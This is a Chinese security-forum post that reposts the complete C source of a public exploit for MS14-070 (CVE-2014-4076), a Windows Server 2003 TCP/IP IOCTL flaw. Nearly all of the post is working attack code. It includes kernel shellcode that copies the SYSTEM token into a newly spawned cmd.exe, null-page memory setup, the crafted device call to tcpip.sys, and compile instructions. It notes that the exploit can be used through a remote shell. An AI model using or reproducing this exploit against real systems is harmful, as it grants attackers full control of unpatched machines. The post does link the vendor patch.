搜索
查看: 229|回复: 0

MS14-070

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2015-8-27 22:41:53 | 显示全部楼层 |阅读模式
CVE: 2014-4076
MS14-070
#  Vulnerable Software:
Windows 2003 SP2 x86
Windows 2003 SP2 x86-64
Windows 2003 SP2 IA-64
# Supported vulnerable software:
Windows 2003 SP2 x86
# Tested on:
Windows 2003 SP2 x86 EN

原文链接:https://www.exploit-db.com/exploits/37755/

  1. /*
  2. ################################################################
  3. # Exploit Title: Windows 2k3 SP2 TCP/IP IOCTL Privilege Escalation (MS14-070)
  4. # Date: 2015-08-10
  5. # Exploit Author: Tomislav Paskalev
  6. # Vulnerable Software:
  7. #   Windows 2003 SP2 x86
  8. #   Windows 2003 SP2 x86-64
  9. #   Windows 2003 SP2 IA-64
  10. # Supported vulnerable software:
  11. #   Windows 2003 SP2 x86
  12. # Tested on:
  13. #   Windows 2003 SP2 x86 EN
  14. # CVE ID:   2014-4076
  15. # OSVDB-ID: 114532
  16. ################################################################
  17. # Vulnerability description:
  18. #   Windows TCP/IP stack (tcpip.sys, tcpip6.sys) fails to
  19. #   properly handle objects in memory during IOCTL processing.
  20. #   By crafting an input buffer that will be passed to the TCP
  21. #   device through the DeviceIoControlFile() function, it is
  22. #   possible to trigger a vulnerability that would allow an
  23. #   attacker to elevate privileges.
  24. #   An attacker who successfully exploited this vulnerability
  25. #   could run arbitrary code in kernel mode (i.e. with SYSTEM
  26. #   privileges).
  27. ################################################################
  28. # Exploit notes:
  29. #   Privileged shell execution:
  30. #     - the SYSTEM shell will spawn within the existing shell
  31. #       (i.e. exploit usable via a remote shell)
  32. #       - upon exiting the SYSTEM shell, the parent process
  33. #         will become unresponsive/hang
  34. #   Exploit compiling:
  35. #     - # i586-mingw32msvc-gcc MS14-070.c -o MS14-070.exe
  36. #   Exploit prerequisites:
  37. #     - low privilege access to the target (remote shell or RDP)
  38. #     - target not patched (KB2989935 not installed)
  39. ################################################################
  40. # Patch:
  41. #   [url=https://www.microsoft.com/en-us/download/details.aspx?id=44646]https://www.microsoft.com/en-us/download/details.aspx?id=44646[/url]
  42. ################################################################
  43. # Thanks to:
  44. #   KoreLogic (Python PoC)
  45. #   ChiChou (C++ PoC)
  46. ################################################################
  47. # References:
  48. #   [url=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076[/url]
  49. #   [url=https://technet.microsoft.com/library/security/ms14-070]https://technet.microsoft.com/library/security/ms14-070[/url]
  50. #   [url=https://www.exploit-db.com/exploits/35936/]https://www.exploit-db.com/exploits/35936/[/url]
  51. #   [url=https://github.com/ChiChou/CVE-2014-4076/blob/master/CVE-2014-4076/CVE-2014-4076.cpp]https://github.com/ChiChou/CVE-2 ... 6/CVE-2014-4076.cpp[/url]
  52. #   [url=https://www.osronline.com/article.cfm?article=229]https://www.osronline.com/article.cfm?article=229[/url]
  53. ################################################################
  54. */
  55.   
  56.   
  57. #include <windows.h>
  58. #include <stdio.h>
  59. #include <stdlib.h>
  60. #include <string.h>
  61.   
  62.   
  63.   
  64.   
  65. typedef enum _SYSTEM_INFORMATION_CLASS {
  66.         SystemBasicInformation                = 0,
  67.         SystemPerformanceInformation          = 2,
  68.         SystemTimeOfDayInformation            = 3,
  69.         SystemProcessInformation              = 5,
  70.         SystemProcessorPerformanceInformation = 8,
  71.         SystemInterruptInformation            = 23,
  72.         SystemExceptionInformation            = 33,
  73.         SystemRegistryQuotaInformation        = 37,
  74.         SystemLookasideInformation            = 45
  75. } SYSTEM_INFORMATION_CLASS;
  76.   
  77.   
  78. typedef DWORD NTSTATUS;
  79. NTSTATUS WINAPI NtQuerySystemInformation (
  80.         SYSTEM_INFORMATION_CLASS   SystemInformationClass,
  81.         PVOID                      SystemInformation,
  82.         ULONG                      SystemInformationLength,
  83.         PULONG                     ReturnLength
  84. );
  85.   
  86.   
  87. typedef struct _IO_STATUS_BLOCK {
  88.         union {
  89.                 NTSTATUS           Status;
  90.                 PVOID              Pointer;
  91.         };
  92.         ULONG_PTR                  Information;
  93. } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
  94.   
  95.   
  96. typedef void (WINAPI * PIO_APC_ROUTINE) (PVOID, PIO_STATUS_BLOCK, ULONG);
  97.   
  98.   
  99. NTSTATUS (WINAPI *ZwAllocateVirtualMemory) (
  100.         HANDLE                     ProcessHandle,
  101.         PVOID                      *BaseAddress,
  102.         ULONG_PTR                  ZeroBits,
  103.         PSIZE_T                    RegionSize,
  104.         ULONG                      AllocationType,
  105.         ULONG                      Protect
  106. );
  107.   
  108.   
  109. NTSTATUS (WINAPI *ZwDeviceIoControlFile) (
  110.         HANDLE                     FileHandle,
  111.         PVOID                      ApcContext,
  112.         PIO_STATUS_BLOCK           IoStatusBlock,
  113.         ULONG                      IoControlCode,
  114.         PVOID                      InputBuffer,
  115.         ULONG                      InputBufferLength,
  116.         PVOID                      OutputBuffer,
  117.         ULONG                      OutputBufferLength
  118. );
  119.   
  120.   
  121.   
  122.   
  123. BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION *processInformation)
  124. {
  125.         ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));
  126.         startupInformation->cb = sizeof (STARTUPINFO);
  127.         ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));
  128.   
  129.         // Start the child process.
  130.         return CreateProcess (
  131.                 NULL,                                                           // No module name (use command line)
  132.                 "c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32",   // Start cmd.exe
  133.                 NULL,                                                           // Process handle not inheritable
  134.                 NULL,                                                           // Thread handle not inheritable
  135.                 TRUE,                                                           // Set handle inheritance to TRUE
  136.                 0,                                                              // No creation flags
  137.                 NULL,                                                           // Use parent's environment block
  138.                 NULL,                                                           // Use parent's starting directory
  139.                 &startupInformation[0],                                         // Pointer to STARTUPINFO structure
  140.                 &processInformation[0]                                          // Pointer to PROCESS_INFORMATION structure
  141.         );
  142. }
  143.   
  144.   
  145.   
  146.   
  147. unsigned long SwapBytes (unsigned long inputByteUL)
  148. {
  149.         return (((inputByteUL&0x000000FF) << 24) + ((inputByteUL&0x0000FF00) << 8) +
  150.         ((inputByteUL&0x00FF0000) >> 8) + ((inputByteUL&0xFF000000) >> 24));
  151. }
  152.   
  153.   
  154.   
  155.   
  156. BOOL WriteToAllocMem (unsigned char *exploitBuffer, unsigned char *shellcode)
  157. {
  158.         int returnAllocMemValue1, returnAllocMemValue2, returnAllocMemValue3, returnAllocMemValue4, returnAllocMemValue5;
  159.   
  160.         returnAllocMemValue1 = WriteProcessMemory (
  161.                 (HANDLE) 0xFFFFFFFF,
  162.                 (LPVOID) 0x28,
  163.                 "\x87\xff\xff\x38",
  164.                 4,
  165.                 NULL
  166.         );
  167.         returnAllocMemValue2 = WriteProcessMemory (
  168.                 (HANDLE) 0xFFFFFFFF,
  169.                 (LPVOID) 0x38,
  170.                 "\x00\x00",
  171.                 2,
  172.                 NULL
  173.         );
  174.         returnAllocMemValue3 = WriteProcessMemory (
  175.                 (HANDLE) 0xFFFFFFFF,
  176.                 (LPVOID) 0x1100,
  177.                 &exploitBuffer[0],
  178.                 32,
  179.                 NULL
  180.         );
  181.         returnAllocMemValue4 = WriteProcessMemory (
  182.                 (HANDLE) 0xFFFFFFFF,
  183.                 (LPVOID) 0x2b,
  184.                 "\x00\x00",
  185.                 2,
  186.                 NULL
  187.         );
  188.         returnAllocMemValue5 = WriteProcessMemory (
  189.                 (HANDLE) 0xFFFFFFFF,
  190.                 (LPVOID) 0x2000,
  191.                 &shellcode[0],
  192.                 96,
  193.                 NULL
  194.         );
  195.   
  196.         if (returnAllocMemValue1 == 0 ||
  197.         returnAllocMemValue2 == 0 ||
  198.         returnAllocMemValue3 == 0 ||
  199.         returnAllocMemValue4 == 0 ||
  200.         returnAllocMemValue5 == 0)
  201.                 return FALSE;
  202.         else
  203.                 return TRUE;
  204. }
  205.   
  206.   
  207.   
  208.   
  209. int main (void)
  210. {
  211.         fprintf (stderr, " MS14-070 (CVE-2014-4076) x86\n");
  212.         fprintf (stderr, "    by Tomislav Paskalev\n");
  213.         fflush (stderr);
  214.   
  215.   
  216.         ////////////////////////////////
  217.         // CREATE NEW CME.EXE PROCESS
  218.         ////////////////////////////////
  219.   
  220.         STARTUPINFO *startupInformation = (STARTUPINFO *) malloc (sizeof (STARTUPINFO));
  221.         PROCESS_INFORMATION *processInformation = (PROCESS_INFORMATION *) malloc (sizeof (PROCESS_INFORMATION));
  222.   
  223.         if (!CreateNewCmdProcess (&startupInformation[0], &processInformation[0]))
  224.         {
  225.                 fprintf (stderr, "[-] Creating a new process failed\n");
  226.                 fprintf (stderr, "    Error code   : %d\n", GetLastError());
  227.                 fflush (stderr);
  228.                 ExitProcess (1);
  229.         }
  230.   
  231.         fprintf (stderr, "[+] Created a new cmd.exe process\n");
  232.         fflush (stderr);
  233.   
  234.   
  235.         ////////////////////////////////
  236.         // CONVERT PID TO HEX LE
  237.         ////////////////////////////////
  238.   
  239.         unsigned long pidLittleEndian = SwapBytes ((unsigned long) processInformation->dwProcessId);
  240.         fprintf (stderr, "    PID [dec]    :   %#8lu\n", (unsigned long) processInformation->dwProcessId);
  241.         fprintf (stderr, "    PID [hex]    : %#010x\n", (unsigned long) processInformation->dwProcessId);
  242.         fprintf (stderr, "    PID [hex LE] : %#010x\n", pidLittleEndian);
  243.   
  244.         /*four bytes of hex = 8 characters, plus NULL terminator*/
  245.         unsigned char pidLittleEndianString[9];
  246.   
  247.         sprintf (&pidLittleEndianString[0], "%04x", pidLittleEndian);
  248.   
  249.   
  250.         ////////////////////////////////
  251.         // CREATE SHELLCODE
  252.         ////////////////////////////////
  253.   
  254.         unsigned char exploitBuffer[] =
  255.         "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00"
  256.         "\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00";
  257.         unsigned char shellcode[] =
  258.         "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00"
  259.         "\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00"
  260.         "\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41"
  261.         "\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94"
  262.         "\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11"
  263.         "\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00";
  264.   
  265.         int counter;
  266.         for (counter = 0; counter < 4; counter++)
  267.         {
  268.                 char buffer[3] = {pidLittleEndianString[counter * 2], pidLittleEndianString[(counter * 2) + 1], 0};
  269.                 shellcode[46 + counter] = strtol (buffer, NULL, 16);
  270.         }
  271.   
  272.         shellcode[77] = strtol ("39", NULL, 16);
  273.         shellcode[78] = strtol ("ff", NULL, 16);
  274.         shellcode[79] = strtol ("a2", NULL, 16);
  275.         shellcode[80] = strtol ("ba", NULL, 16);
  276.   
  277.         shellcode[82] = strtol ("0", NULL, 16);
  278.         shellcode[83] = strtol ("0", NULL, 16);
  279.         shellcode[84] = strtol ("0", NULL, 16);
  280.         shellcode[85] = strtol ("0", NULL, 16);
  281.   
  282.         fprintf (stderr, "[+] Modified shellcode\n");
  283.         fflush (stderr);
  284.   
  285.   
  286.         ////////////////////////////////
  287.         // CREATE HANDLE ON TCPIP.SYS
  288.         ////////////////////////////////
  289.   
  290.         HANDLE tcpIPDeviceHandle = CreateFileA (
  291.                 "\\\\.\\Tcp",
  292.                 0,
  293.                 0,
  294.                 NULL,
  295.                 OPEN_EXISTING,
  296.                 0,
  297.                 NULL
  298.         );
  299.   
  300.         if (tcpIPDeviceHandle == INVALID_HANDLE_VALUE)
  301.         {
  302.                 printf ("[-] Opening TCP/IP I/O dev failed\n");
  303.                 printf ("    Error code   : %d\n", GetLastError());
  304.                 ExitProcess (1);
  305.         }
  306.   
  307.         fprintf (stderr, "[+] Opened TCP/IP I/O device\n");
  308.         fflush (stderr);
  309.   
  310.   
  311.         ////////////////////////////////
  312.         // ALLOCATE MEMORY - FIRST PAGE
  313.         ////////////////////////////////
  314.   
  315.         FARPROC ZwAllocateVirtualMemory;
  316.   
  317.         ZwAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwAllocateVirtualMemory");
  318.   
  319.         fprintf (stderr, " ntdll.dll address: 0x%p\n", ZwAllocateVirtualMemory);
  320.         fflush (stderr);
  321.   
  322.         NTSTATUS AllocMemReturnCode;
  323.         ULONG BaseAddress = 0x1000, RegionSize = 0x4000;
  324.   
  325.         AllocMemReturnCode = ZwAllocateVirtualMemory (
  326.                 (HANDLE) 0xFFFFFFFF,
  327.                 &BaseAddress,
  328.                 0,
  329.                 &RegionSize,
  330.                 MEM_COMMIT | MEM_RESERVE,
  331.                 PAGE_EXECUTE_READWRITE
  332.         );
  333.   
  334.         if (AllocMemReturnCode != 0)
  335.         {
  336.                 printf ("[-] Allocating memory failed\n");
  337.                 printf ("    Error code   : %#X\n", AllocMemReturnCode);
  338.                 ExitProcess (1);
  339.         }
  340.   
  341.         fprintf (stderr, "[+] Allocated memory\n");
  342.         fprintf (stderr, "    BaseAddress  : 0x%p\n", BaseAddress);
  343.         fprintf (stderr, "    RegionSize   : %#010x\n", RegionSize);
  344.         fflush (stderr);
  345.   
  346.   
  347.         ////////////////////////////////
  348.         // WRITE EXPLOIT TO PROCESS MEM
  349.         ////////////////////////////////
  350.   
  351.         fprintf (stderr, " Writing exploit...\n");
  352.         fflush (stderr);
  353.   
  354.         if (!WriteToAllocMem (&exploitBuffer[0], &shellcode[0]))
  355.         {
  356.                 fprintf (stderr, "    [-] Failed to write to memory\n");
  357.                 fprintf (stderr, "        Err code : %d\n", GetLastError ());
  358.                 fflush (stderr);
  359.                 ExitProcess (1);
  360.         }
  361.         else
  362.         {
  363.                 fprintf (stderr, "    [+] done\n");
  364.                 fflush (stderr);
  365.         }
  366.   
  367.   
  368.         ////////////////////////////////
  369.         // SEND EXPLOIT TO TCPIP.SYS
  370.         ////////////////////////////////
  371.   
  372.         fprintf (stderr, " Spawning SYSTEM shell...\n");
  373.         fprintf (stderr, "    Parent proc hangs on exit\n");
  374.         fflush (stderr);
  375.   
  376.         FARPROC ZwDeviceIoControlFile;
  377.         NTSTATUS DevIoCtrlReturnCode;
  378.         ULONG ioStatus = 8;
  379.   
  380.         ZwDeviceIoControlFile = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwDeviceIoControlFile");
  381.   
  382.         DevIoCtrlReturnCode = ZwDeviceIoControlFile (
  383.                 tcpIPDeviceHandle,
  384.                 NULL,
  385.                 NULL,
  386.                 NULL,
  387.                 (PIO_STATUS_BLOCK) &ioStatus,
  388.                 0x00120028,                                //Device: NETWORK (0x12)
  389.                                                         //Function: 0xa
  390.                                                         //Access: FILE_ANY_ACCESS
  391.                                                         //Method: METHOD_BUFFERED
  392.                 (PVOID) 0x1100,                                //NULL,                //Test
  393.                 32,                                        //0,                //Test
  394.                 NULL,
  395.                 0
  396.         );
  397.   
  398.         if (DevIoCtrlReturnCode != 0)
  399.         {
  400.                 fprintf (stderr, "    [-] Exploit failed (->TCP/IP)\n");
  401.                 fprintf (stderr, "        Err code : %d\n", GetLastError ());
  402.                 fflush (stderr);
  403.                 ExitProcess (1);
  404.         }
  405.   
  406.   
  407.         ////////////////////////////////
  408.         // WAIT FOR CHILD PROCESS; EXIT
  409.         ////////////////////////////////
  410.   
  411.         // Wait until child process exits.
  412.         WaitForSingleObject (processInformation->hProcess, INFINITE);
  413.   
  414.         fprintf (stderr, " Exiting SYSTEM shell...\n");
  415.         fflush (stderr);
  416.   
  417.         // Close process and thread handles.
  418.         CloseHandle (tcpIPDeviceHandle);
  419.         CloseHandle (processInformation->hProcess);
  420.         CloseHandle (processInformation->hThread);
  421.   
  422.         return 1;
  423. }
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表